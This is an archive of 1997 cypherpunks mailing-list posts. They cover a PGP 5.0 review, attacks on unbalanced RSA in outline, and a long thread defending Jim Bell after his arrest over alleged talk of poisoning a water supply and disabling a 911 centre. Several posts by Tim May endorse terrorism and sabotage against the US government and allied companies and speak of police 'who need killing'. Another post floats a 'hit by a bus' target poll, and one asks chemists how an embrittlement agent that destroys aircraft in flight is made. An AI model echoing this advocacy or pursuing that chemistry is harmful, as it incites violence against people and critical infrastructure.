which say "God does not like frozen people" ?

> The charter is absolutely clear in respect to what is not allowed:
> 
> Charter> Unacceptable messages include personal attacks, messages 

You had better specifically define what a "personal attack" is.

You may never limit my ability to call you a "motherfucker" in any forum,
and if you call that a "personal attack" then you have a censorship
problem.

> Charter> posted without a valid sender address, and any message not 
> Charter> pertaining to the topics above.
> 

And what about crossposting?  Does the charter put any limit on that?
Any limitations on that are Unconstitutional.

> (see 
> 
> http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11
> 
> for the charter and ballot)
> 
> 
> * written rules have a real chance of being challenged, whereas with 
> * unwritten rules there's much less hope of receiving fair treatment. 
> * Overly broad restrictions, like the one in the CFV regarding messages 
> * from unreplyable senders, are a boon for selective enforcement. 
> 
> I repeat again, in my opinion, there is no valid reason for any
> moderated discussion newsgroup to ever forbid anonymous and pseudonymous
> postings. Such restrictions destroy the value that usenet newsgroups
> have.
> 

Exactly, and anonymity is a constitutional right.

> Correspondently, I will strongly oppose any proposal that restricts
> posters ability to post anonymously.
> 
> Presence of such provision in the charter is a strong indication
> that the proponent is a control freak.
> 
> * It's been a couple of years since I voted on a newsgroup proposal, but
> * I'll be voting NO on this sci.cryonics reorganization. Get back to me
> * if the charter is reworded s.t. the moderator is directed to judge a
> * message primarily based on its _content_  rather than its _sender_.
> 
> Could not agree more!
> 
> * CFV pointer: Message-ID <863077501.7020@isc.org>, posted to the usual
> * places on May 8 by David Bostwick
> * -- 
> * Lewis    http://www.cs.umass.edu/~lmccarth/lmkey.asc   "And all the 
> * science, I don't understand; it's just my job, eight days a week..."
> 

Both this David Bostwick and this Charles Platt are suspicious characters.
They have past or present bofh.cabal connections, do they not?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 20 May 1997 19:15:09 +0800
To: "Lynne L. Harrison" <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970519235515.032d1868@intergate.net>
Message-ID: <3.0.2.32.19970520070041.03bfaa60@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Well, now that I've seen some good and bad reviews regarding the beta
>version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
>with Eudora Pro.  From what I've read, it seems the new beta version has
>nothing new to add - except some quirky bugs and the source code that's
>supposed to be available at some time in the future.
>
>Has anyone compared the above?

I've been using 4.5 since it was in Beta and I paid the $29.95 to upgrade to 
it when they started charging (they have you cut and paste your public key 
into the form to prove you are upgrading from a free version of PGP).

I downloaded 5.0 a day or two ago and have been using it.  It is possible to 
use both on the same machine although you have to watch your key location.

I Use Windows 95.  

Installation of PGP for Personal Privacy 5.0 went OK.  Unless you have the 
latest Beta of Eudora (3.0.2 B4) it installs the files necessary to upgrade 
your version of Eudora.  Unfortunately, 3.0.2 B4 expires in June so you'll  
have to continue upgrading.   My only problem was that when I had the program 
move and rename my key rings, I forgot which key file I was pointing to and 
made my secret ring my public ring for a few minutes until I reinstalled.  The 


program puts its menu into the "tray".  Its menu is shorter than the PGP Mail 
4.5 menu because the key handling is done from the PGPkeys program.  It 
displays a graphic key list and you can point and click and drag and drop to 
perform most key management tasks.

The new features are 1) automatic lookup of keys from the keyserver of your 
choice (defaults to PGP Incs keyserver).  2) automatic signing (or even 
encryption) of outgoing mail.  You click <Queue> in Eudora and it prompts you 
for your passphrase.  3) Use of ElGamal (DSS/Diffie-Hellman) instead of RSA 
for your key if you like.  4) Use of PGP/Mime for outgoing messages if you 
like.  5) it will cache you private key in memory for a user configurable 
length of time (default is 120 seconds) so that you can easily encrypt 
multiple messages.

It has worked fine so far.  Digital signing and encryption seem faster than 
with 4.5.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Tue, 20 May 1997 23:57:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
Message-ID: <199705201532.IAA08042@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Gutmann, pgut001@cs.auckland.ac.nz, writes:
> (I had another look at the unbalanced RSA proposal in the Autumn 1995
>  CryptoBytes as I was trying to find the above article, did anyone ever do
>  anything with unbalanced RSA or was it just left as a curiosity?).

The unbalanced RSA idea, by Shamir, was to choose primes p and q with p
considerably less than q, e.g. p = 500 bits, q = 4500 bits.  With numbers
of this size, the difficulty of factoring a 5000 bit n = pq is still just
as hard as if p and q were both about 2500 bits.  Then, you only encrypt
numbers < p, and it turns out that you can do the decryption mod p rather
than mod n, so decrypt is much, much faster than for a conventional 5000
bit modulus.

There have been some attacks on this.  The main limitation is that the
encrypted number is supposed to be < p.  There is a chosen-cyphertext
attack, taking an x a few bits larger than p, encrypting it, and asking
for the resulting decryption.  This produces x mod p, which combined
with x can be used to find p.

Another attack along these lines is to guess x about the size of p, send
a legitimate message based on it, then watch the receiver's behavior to
try to determine whether the message had decrypted correctly.  If x < p
it would decrypt OK, otherwise it would decrypt to garbage.  Repeat this
to narrow down an interval containing p.

I believe these were presented by Quisquater at the Crypto 96 rump session,
although I think he was referring in part to some attacks which had already
been discovered.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 21 May 1997 00:32:27 +0800
To: cypherpunks@algebra.com
Subject: For whom the Bell tolls...
Message-ID: <Pine.GSO.3.96.970520091919.3875A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


The article on Bell was printed in this morning's Oregonian.

Hoo Boy!

They are accusing him of all sorts of nasty shit!

"Planning to poison the Bull Run watershed with Botulism."

"Planning to use a carbon thread attack on the 911 system."

And more.

If John Young has not printed the article by the time I get home from
work, I will type the whole thing in.

They are REALLY playing rough this time!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 20 May 1997 21:59:47 +0800
To: cypherpunks@cyberpass.net
Subject: A little list... [Re: Jim Bell goes to Jail!]
Message-ID: <199705201349.GAA12194@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



DCF writes:
>At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:
>>Some of his statements could have been taken as advocating the killing of 
>>federal employees of various sorts.  The question is whether he actually
>>tried 
>>to arrange it in real life.  (Which I doubt.)
>In the U.S., it is legal to advocate killing anyone except Clinton and his 
>family and maybe the veep.
>DCF

While I think AP is appalling (I regard all premeditated killing as 
unacceptable, whether committed by the state or individuals), the 
following might be fun:

Set up a web page which collects names of 'people you'd like to see 
hit by a bus'. This is a poll, not AP - no money is involved, and
there is no suggestion that these desires be carried into action.
Allow people to anonymously add their vote to names already on the list, 
or nominate new ones themselves.

While there is the possibility of abuse (someone sets up a 'bot to 
nominate their ex-wife 10,000 times), clearly you would not want to
try to keep track of who voted for who.

I expect we'd see The Usual Suspects, and a lot of people who are 
known in only limited spheres (sports figures, widely disliked 
bosses and CEOs). There would also be many individuals with a 
single vote against them, and a lot of people notorious only on the
net.
 
One refinement might be to display names only for people with some
threshold of strikes against them - say 20 votes. Another would be
to allow people to register both 'yea' or 'nay' on names on the
list.

I don't have a facilities to set this up myself, so don't ask me.
If someone else does it, I hope they check to see of there are
any legal implications.

Peter Trei
trei@process.com 
---------------------------
[

KOKO (the newly appointed Grand High Executioner):
I am happy to think that there will be no difficulty in finding
plenty of people whose loss will be a distinct gain to society at
large.

             SONG--KO-KO with CHORUS OF MEN.

As some day it may happen that a victim must be found,
     I've got a little list--I've got a little list
Of society offenders who might well be underground,
     And who never would be missed--who never would be missed!
There's the pestilential nuisances who write for autographs--
All people who have flabby hands and irritating laughs--
All children who are up in dates, and floor you with 'em flat--
All persons who in shaking hands, shake hands with you like
     that--
And all third persons who on spoiling tete-a-tetes insist--
     They'd none of 'em be missed--they'd none of 'em be missed!
etc....

Gilbert & Sullivan, "The Mikado"

]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 01:53:12 +0800
To: cypherpunks@cyberpass.net
Subject: The USA is the world's biggest terrorist state
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <v03007801afa798af0cca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:23 AM -0800 5/20/97, Attila T. Hun wrote:

>    as to trivializing tim may as to wine and for his comment below on
>    OKC, if the gubmit becomes a terrorist state (and who is to deny
>    that it is not, and has not been this century), then the terrorist
>    much expect retaliation.

The United States of America sits astride the world, holding the riding
crop and ordering the other nations of the world around in various ways. It
sends troops to distant parts of the world. It even takes on the main
"peacekeeping" (meaning: choosing a faction and suppressing the other
factions) role in Yugoslavia...surely a European problem, if a problem at
all.

(I say let the Bosnians, Serbs, Croatians, Albanians, Macedonians, etc.
massacre each other. That my tax dollars, and American lives, are being
spent in this "Balkanized nonsurprise" are criminal. If infowar and
terrorism are needed to destabilize the U.S. Military-Industrial War
Machine, then I guess that's what's needed. Period.)

The USA is without any doubts the largest economic and political power. And
it uses threat of military intervention to influence other terrorist
states. It's military budget remains bloated far beyond any reasonable
response to realistic threats. It is, of course, the world's policeman.
Worse, the world's secret policeman. (Lest you doubt this, it trained, and
continues to train, the torturers in Africa and South America. It issued
the CIA manual on assassinations and torturings, and it taught several
armies how to encourage prisoners to talk by throwing some of them out of
helicopters. Now it is training the former KGB and related folks in how to
wage a War on Drugs and Civil Rights in their countries. I wonder if the
helicopter trick is still being taught?)


Meanwhile, the alleged civil rights and cyber liberties groups are arguing
"it's the best deal we can get" while dozens of new restrictions on speech
and encryption are being promulgated. And so on. (I could give a dozen
examples, from DiFi's "bomb-making instructions ban" to forcing the Playboy
Channel off cable systems until 10 p.m. to restrictions on speech about
what an acceptable employee applicant is (Hint: Don't say that Ebonics is
unacceptable, else face fines).

The only valid point of view is to reject all limits on basic rights. And
since mere rejection of the points of view of the NSA, EPIC, CIA, CPSR,
DIA, EFF, DEA, etc. is not enough, to sabotage companies which work with
these stooges.

(Many Cypherpunks are now working for these companies which have decided to
"play ball" with David Aaron, George Tenet, Louis Freeh, and the others. I
hope you are considering what options exist to undermine and sabotage such
efforts. The Cypherpunks meeting in March generated some good ideas.)

And one of our own is arrested on almost certainly trumped up charges
designed to play well in the media (botulism in the water, Sarin in the
air...they probably found some Loompanics and Paladin Press books on how to
make nerve gases and other poisons...freely available, and I have some
myself).


>    The US in this century, at one point or another in time, has
>    destabilized 90%+ of the world governments, including the Labour
>    Party in GB prior to Iron Maggie's rule (and if you want names of
>    the phony US Dept of State consular employees involved, a pointer
>    can be provided).

The United States of America is the world's leading terrorist state. From
mining harbors in countries with democratically elected governments to
financing the blowing up of airliners by dissident groups to assassinating
dozens of leaders of countries the USA wished to shape in different
directions, the USA is Terror State Numero Uno.

Destabilizing a terror state is, I think, a moral thing to do.



>    as for the great fairweather liberal bigot Blanc's passing it off
>    as tcm's drunken ramblings, I doubt it.  war is hell, and
>    "innocents" get wasted --but, a society at war has no innocents.
>    blow 'em all away.  scorched earth is inadequate; burnt earth is
>    more effective. if there are no prisoners, there are no
>    complainers.

As I said at the time, Blanc's cheap shot was an incoherent form of
criticism. As I write much the same things morning, noon, and night (check
the timings of my posts), either I'm drunk at all hours of the day, or
these are my overall views.

You folks can decide for yourselves.

I noticed with interest this morning that Peter Trei had an interesting
thought experiment for implementing a variant of assassination politics.
Interesting because not much more than a week or two ago Peter was making
the point that I seemed to have gone off the deep end, or at least was no
longer writing "thoughtful" essays and/or was not focussing on what he
wanted to read about (a hopeless task, of course, to tune one's writings to
the interests of others).

Peter has now thrown in with the "let's see how AP might work." His
variant, "Who do we want to see hit with a bus?," is of course essentially
identical to AP.

"Has Peter lost it with these rantings?"

And of course we have Declan McCullagh, a reasonable fellow, saying that
we'd better restrain ourselves or the government will do it for us.

(One wonders if the First Amendment is still being taught in journalism
school.)

Hey, maybe Swinestein will introduce a new law to stop discussions of
freedom of speech. "It Takes a Village," after all.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 03:01:26 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell 2
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <v03007802afa7a6a35406@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:34 AM -0800 5/20/97, John Young wrote:
>   The Oregonian, May 20, 1997, Metro Section P-1:
>
>   IRS says suspect discussed sabotage
>
>      An affidavit says a Vancouver man arrested Friday talked of
>      sabotaging Portland's 9-1-1 computer and Bull Run water
>
>   By John Painter, Jr., of the Oregonian staff
>
>   Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>   Revenue agents discussed sabotaging the computers in Portland's
>   9-1-1 center and talked about using a botulism toxin to contaminate
>   the Bull Run water supply, a federal agent said Monday.

(It's hard for me to avoid sarcasm, by saying things like "Of course, talk
is now covered by the Safe Streets and Water Source Protection Act of
1997," but I will eschew such sarcasm and simply state the obvious.)

Nothing in the "Orgonian" (named after Reich's banned books--sorry, I
slipped) indicates anything more than _talk_ was ever involved. No bombs
went off, no water supplies were poisoned, and apparently no botulism was
cultured. The finding of a 3-foot carbon pole in the home of a radio
operator....such things are found in many places, and the nexus with a
conspiracy to actually do something is nonexistent.


>   He is accused of obstructing government officers and employees and
>   using false Social Security numbers. But government agents think he
>   is far more dangerous than the charges suggest, the affidavit filed by
>   IRS Inspector Phillip G. Scott said.

About these charges I can of course say nothing. (Though I note that _my_
SS card says quite clearly it is for tax and SS purposes ONLY, and is not
be used for identification. When I pointed this out down at the Department
of Motor Vehicles, I was met with a shrug and told that if I did not give
my SS number as ID number I would not get a registration tag, and that if I
persisted in arguing this at the counter that "security" would be called in
to have me removed or arrested or tortured or whatever. By the way, would
it be useful guerilla theater exercise to have our SS numbers tattooed on
our forearms?)


>
>   Scott's affidavit said Bell, who has a chemistry degree from the
>   Massaschusetts Institute of Technology, had discussions about using
>   carbon fiber particles to attack computer systems with Greg Daly, a
>   friend who is an electronics specialist overseeing Portland's 9-1-1
>   communications center.
>
>   "Daly stated that he and Bell had 'laughed' about attacking the 9-1-1
>   center with fiber," the affidavit said.

Who of us hasn't brainstormed about how to attack the security of a system,
or the security of a water supply? Who of us hasn't thought about how easy
it would be drop LSD or botulins in the water supplies of a major site? Is
this also called "contingency planning"? Or "tiger team analysis"?

It could be argued, and I hope it will be, that Bell was helping his friend
Daly improve the security of his computer installation.

(Not to mention the vastly more important argument to use: First Amendment
protection of speech. Conspiracy and RICO charges are hardly valid when
only speech is involved...I'm not a lawyer, but I believe there has to be a
realistic expectation that a crime is being planned to be carried out, with
some reasonable chance of being completed, before a "conspiracy" can be
charged. A few friends sitting around brainstorming about threats,
counterthreats, and possible attacks does not a conspiracy make.)


>   Daly also told IRS agents that he had hypothetical discussions with
>   Bell about contaminating water supplies and about making botulism
>   toxin from green beans, the affidavit said.

And?


>   In the April 17 and 18 interviews with IRS agents, Daly said that as part
>   of his job, he "has keys and direct access to the Portland Bull Run
>   water treatment facility."

And? (I can see scared officials firing Daly, unless he is protected by
other interventionist laws.)


>   Daly said Monday that the conversations that he and Bell had were
>   merely "intellectual fun-and-games discussions" between old friends
>   who enjoy technical things.
>
>   "There's a difference between reasonable freedom of speech and
>   unreasonable probability of attack," Daly said. "Standing around and
>   flapping our lips about how it would be funny is way different from
>   even contemplating actual attack."

Exactly. Seems some folks don't understand the First Amendment...this seems
to be endemic in America today, especially amongst public officials.


>   Thursday, IRS agents searched the home of Robert East, a merchant
>   radioman and a friend of Bell's. Among items seized was 3-foot length
>   of carbon fiber.

Gee, could this carbon fiber be involved in his radio work? Gee.

("The BATF who raided Tim May's compound reported finding suspicious books
describing biological warfare and a gas cylinder which could be used to
spread Sarin gas in an attack on the Bay Area Rapid Transit. Agents found a
message on his computer, dated May 20th, 1997, in which Sarin and BART were
mentioned.")



>   The affidavit said East told agents that he and Bell had discussed "the
>   possibility of putting the fibers down the air vents of a federal building"
>   to kill its computers and about using the fiber against the IRS.

Sounds exactly like the sort of "what-if" theorizing that all technical
people (and novelists, screenwriters, etc.) like to do. Also the staple of
the "Infowar" mailing lists, not to mention "rec.pyrotechnics" sorts of
newsgroups.

I rather doubt dropping a carbon fiber down an airshaft would do anything
to the computers, but, hey, it's a theory.

(I also don't see what disrupting a 911 computer for a few hours or days
would mean for any of Bell's assumed longterm goals, so I surmise that he
was indeed just playing with some "techie" ideas. And one can imagine the
911 folks thanking, or even paying, him for analyzing potential weaknesss
in their security. But I guess, as with Randall Schwartz, killing the
messenger remains the favored course of action.)


Free speech is under massive assalt in the Terror State of America.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Tue, 20 May 1997 17:06:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519101346.00714fe0@netcom13.netcom.com>
Message-ID: <Pine.GSO.3.95.970520114056.20181A-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 19 May 1997, Lucky Green wrote:

> I stand corrected. The essay was found in the car. However, after the essay
> was  found the agent searched the Internet for copies of the essay and
> posts by Jim Bell discussing it. The agent's original affidavit states the
> number of AP related post by Jim the fed could find via a search engine.

So how useful are things like e-mail messages and newsgroup postings in
court? Can e-mail really be used as court evidence and has it actually
been used in any cases? It might probably differ in different coutries and
states, but there must be some generl opinion about this. Is it may be up
to the police / court to decide if a message is really written by someone
who's name is under there. You can easily forge e-mail, mail headers and
mail logs. 

Jüri





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 21 May 1997 04:00:25 +0800
To: jya@pipeline.com
Subject: Re: Jim Bell 2
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <199705201930.MAA17981@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young writes:

Thanks for posting this.
 
>    The Oregonian, May 20, 1997, Metro Section P-1:
> 
>    IRS says suspect discussed sabotage
> 
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    By John Painter, Jr., of the Oregonian staff
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate 
>    the Bull Run water supply, a federal agent said Monday.
> 
>    James Dalton Bell, 38, appeared Monday afternoon in U.S. District
>    Court in Tacoma and was accused in an 18-page affidavit of scheming
>    to overthrow the U.S. government.


The _IRS_ can arrest people for 'scheming to overthrow the U.S. government' !?

I thought that was the FBIs job.  I'm sure they'd have wanted to be
in on it if he was as big a terrorist as they're making him out to be.
Maybe the FBI that the bulk of the charges are bogus and wanted nothing to
do with them, but the IRS went ahead anyhow to harass him and to
justify their earlier search.  Food for thought and grounds for
further research...



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 21 May 1997 03:50:32 +0800
To: cypherpunks@cyberpass.net
Subject: For Whom the Bell Tolls
Message-ID: <199705201934.MAA27619@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The current troubles for Jim Bell, and the representation in
government affidavits that casual speculation with friends over
infrastructure vulnerabilities constituted some sort of
conspiracy to do harm, should make all Cypherpunks nervous.

Indeed, such discussions about vulnerabilities and risks have
been a central theme of this mailing list over the years.  I hope
I don't wake up tomorrow morning to headlines in the Seattle
Times reading "Atomic Force Microscope Central in Duvos Smartcard
Plot" or some equally silly thing, based on an out-of-context
grep of the Web archives.

It is unfortunate that in a country which advertises itself as
some sort of bastion of free speech, one must constantly guard
ones speech to make sure that it contains no snippets suitable
for an inflammatory sound byte on the evening news.

Just another of the many manifestations of "The Policeman
Inside."

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 21 May 1997 03:59:53 +0800
To: cypherpunks@cyberpass.net
Subject: Metal Virus
Message-ID: <199705201937.MAA27992@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


With all this talk of germ warfare and carbon fiber attacks, I
started thinking of another useful technology which made its
appearance a number of years ago, and promptly vanished from
sight.

Not so long ago, some university scientists invented a catalyst
which, even in microscopic amounts, would prevent formation of
the contiguous oxide film which protects metals from rapidly
reacting with the oxygen in the air.

They called a press conference to demonstrate their new
invention, which was carried on CNN, and after placing one drop
of their magic solution on a metal plate, held it in front of the
cameras as white power erupted from various points on its surface
and it promptly crumbled to pieces.

Now I found this quite an interesting demonstration, and much to
my non-surprise, this invention was never mentioned in the media
again.

A few years later, in an article for Omni Magazine on
scientifically advanced technologies for knocking out critical
infrastructure, G. Gordon Liddy made mention of a "Classified
Liquid Metal Embrittlement Technology," in which a liquid
catalyst could be concealed in a object like a magic marker, and
applied in small amounts to structurally significant components
of aircraft, which would later undergo catastrophic structural
failure in fight.

This sounded to me a whole lot like the stuff the scientists had
shown on CNN in the press conference.

Anyone remember this?  Would any chemists in the audience care to
hazard a guess as to the chemical composition of said catalyst
and the mechanism of its interaction with the target to be
destroyed?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 04:20:28 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007801afa63556053c@[207.167.93.63]>
Message-ID: <v03007800afa7b7bc7809@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:16 AM -0800 5/20/97, Paul Bradley wrote:

>People forget quickly. I honestly believe that today people not only do
>not realise what is happening in the world around them, they really do
>not care. Most people I know are content just to make a buck and get on
>with it, without giving a thought to the rights they lose every day.

Indeed, but the great bulk of people ("the masses") have almost never
cared. They are going about their daily lives, trying to earn a living, and
so on. That the distant government is suppressing others is usually of
little concern to them. Nearly all revolutions are initiated and led by
elites...I see no reason to expect this to different in "Techno-Revolution."

Also, the "boiling a frog slowly" metaphor comes to mind...most people have
little idea how the vise has tightened. And in the case of "gun rights,"
most Americans are apparently of the opinion that their lives will be safer
if all guns are banned.

(Which may be true, if _all_ guns were banned. Speaking hypothetically. And
not necessarily proven (knives are notoriously effective, too, so it's not
at all clear that violent deaths would diminish much.) But not all guns
could ever be banned, and criminals would then have a major advantage of
the defenseless. And cops would still have guns. And former KGB killers now
in the Witness Security Program would probably still have guns. And so on.
And there's the little matter of reimbursing folks like me for the value of
our guns, our reloading supplies, our gun magazines and books, and our
"invested time." In other words, they want to take my guns, acquired
legally, they'd better be prepared to remimburse me what I think all this
stuff is worth (which they won't), and guarantee that criminals won't have
guns (which they can't). This is all separate from the clear language of
the Second, of course. "When only cops have guns, how do you kill the cops
who need killing?" (As some surely do, as the various cases of justifiable
self-defense against cops, rogue or otherwise, make clear.)


>I`m sure that public opinion in the UK is more this way than it is in
>the US, I may be wrong, however, the fact that I was told by a member
>of my immediate family a few days ago "You should be put in a lunatic
>asylum" because of my political views does not leave me with a good
>feeling about the general state of the population at large, still, it
>does leave me with a good feeling when people tell me "you are a danger
>to society" as they do not realise the compliment they are giving me!
>I truly wish I was of strong enough stuff to constitute a real danger...
>I can honestly say that most people I speak with on a day to day basis
>would brand me a loon if they ever got into a proper political discussion
>with me. This is, of course, a sad state of affairs.

I don't know how it is the UK, but in the US it's fairly easy to have
someone committed "for psychiatric evaluation" (observation). A Santa Cruz
County Sherriff's Deputy told me once on the phone that my opinions could
indicate that I was of unstable mind...his clear hint to me was that he
could have me committed for a 48-hour stay in one of the local psychiatric
prisons^H^H^H^H^H^H hospitals. Why would he do this? Well, in California
one loses all rights to own guns for some period of time after such a
pyschiatric commitment, regardless of the final determination. (I don't
have a URL handy on this, but it's widely discussed in the guns rights
groups.)

Ditto for folks who have had restraining orders placed against them in
certain kinds of abuse cases...even if no determination of final guilt
and/or longterm threat was ever made. There are numerous cases where a
vengeful ex-wife charged she had been abused (maybe yes, maybe no) and a
court granted a restraining order against the husband. Poof, he loses his
guns and the right to buy any new ones for some number of years (15?).

(I'm a believer that basic constitutional rights should not be taken away,
even for convicted criminals, except insofar as the actual punishment
requires. Thus, an imprisoned man loses his rights to move freely, of
course, and perhaps rights related to this (gun ownership, obviously!). But
once released, he should not lose his voting rights (which happens to
convicted felons), gun ownership rights (ditto, for most felonies, as I
recall), and so on. What would we think if a released prisoner lost his
First Amendment rights? Or his Fourth, or Fifth? Etc.  (Don't laugh, many
of these rights are already lost. Some in the process of parole, some even
after parole ends.)

By the way, one of the advantages of the huge number of things which are
now felonies gives to the authorities is the ability to pile on a
horrendous number of charges, some of which may "stick." This gives
prosecutors bargaining power for pleas, so that they can get convictions
without length trials.

In the case of Bell, I suspect they'll hit him with so many charges that
he'll be cowed into making a deal. He'll probably do no jail time, beyond
his current and ongoing stay, but will have one or more felony convictions
on his record. He can then say goodbye to any guns he may have acquired
legally, and will lose his voting rights (not that he or they care about
this, I'm sure). He'll also be a more malleable citizen-unit, as subsequent
convictions woudl be dealt with more harshly. (California's "three strikes"
law is especially pernicious.)

(I'm not critiquing Bell here, just speculating on the likely outcome of
the case.)

>
>> >The feds may not be aware that the discussions on this list are usually of
>> >a theoretical nature. Perhaps they decided to go after the
>> >"co-conspirators". Like the anarchists in California with their AR-15's who
>> >have so many mags that they can't even  remember where they all are. :-)
>
>Hmm, I don`t think this is really relevant though, it makes no difference
>whether the discussions are theoretical or practical, they are still
>valid discussions.

I agree with this point. Lucky was wrong to imply there's a difference in
speech rights between "theoretical" and other forms of speech. A crime is a
crime, of course, but talking about desirable courses of action, political
outcomes, and so on is of course protected speech.

(Discussions which are actual criminal conspiracies is a touchy issue, and
is a marginal area of the law, as near as I can tell. But essentially all
discussions are protected unless strong evidence is presented that a crime
is being plotted, and even then the speech is usually protected. Discussing
tax evasion strategies, for example, has not been successfully prosecuted
(per se), in any cases I am familiar with. And as Duncan noted, even
sedition is hard to prove.)

>
>> I've since found a dozen or so of these clips. Circumstances have motivated
>> me to look through some of my packed boxes.
>
>I could not begin to aspire to your collection of rifles and other
>defensive weapons Tim, but I too have been placing keys to my gun cabinet
>and shells in convenient places for quick access at one of those "4am
>black clad ninja just burst through my front door" moments.

It's a sad state of affairs when the police increasingly resort to the 4
a.m. Nomex-hooded, no-warnings-issued SWAT-type raids. Readers may recall
the many stories of innocents killed when they were shocked out of deep
slumber by "flash-bangs" thrown into their bedrooms and the sudden
appearance of black-clad ninja raiders.

Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
growing pot on his ranch. He and his wife were startled by the ninjas
bursting into their bedroom. The doctor reached for a handgun in his
nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
raiders. The estate of the doctor is currently suing the LA County
Sheriff's Department and other agencies, but you know how those things go.
I know I shock a lot of people by saying this, but I think those involved
in the raid should be tried on murder charges and, if found guilty,
executed promptly. And if the court system won't do this, which it
obviously won't, then the alternative is <CENSORED CENSORED CENSORED
CENSORED>.

(The Malibu case has been discussed extensively. See
http://www.calyx.com/~olsen/NORML/WEEKLY/95-07-18.html for one pointer. As
this article notes: "Moreover, the prospect of being able to seize valuable
property under civil forfeiture has created an incentive to seek out
marijuana cultivation.  This is believed to have been the reason for the
1992 raid on multimillionaire Donald Scott's estate near Malibu that
resulted in his being killed by police.  No marijuana was found. ")


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 04:37:50 +0800
To: cypherpunks@algebra.com
Subject: Radiation Therapy to Cure the Cancer
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <v03007801afa7c2bd0de1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


